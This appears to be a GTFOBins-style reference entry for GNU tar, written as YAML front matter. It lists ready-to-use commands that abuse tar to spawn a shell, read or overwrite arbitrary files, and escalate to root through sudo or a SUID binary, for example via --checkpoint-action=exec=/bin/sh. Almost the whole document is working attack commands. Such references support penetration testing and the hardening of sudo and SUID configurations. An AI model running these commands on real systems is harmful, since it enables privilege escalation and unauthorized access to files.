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31 lines
1.1 KiB
Markdown
31 lines
1.1 KiB
Markdown
---
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functions:
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shell:
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- code: tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
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- description: This only works for GNU tar.
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code: tar xf /dev/null -I '/bin/sh -c "sh <&2 1>&2"'
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- description: This only works for GNU tar. It can be useful when only a limited command argument injection is available.
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code: |
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TF=$(mktemp)
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echo '/bin/sh 0<&1' > "$TF"
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tar cf "$TF.tar" "$TF"
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tar xf "$TF.tar" --to-command sh
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rm "$TF"*
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file-write:
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- description: This only works for GNU tar.
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code: |
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LFILE=file_to_write
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TF=$(mktemp)
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echo DATA > "$TF"
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tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P
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file-read:
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- description: This only works for GNU tar.
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code: |
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LFILE=file_to_read
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tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
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sudo:
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- code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
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limited-suid:
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- code: ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
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---
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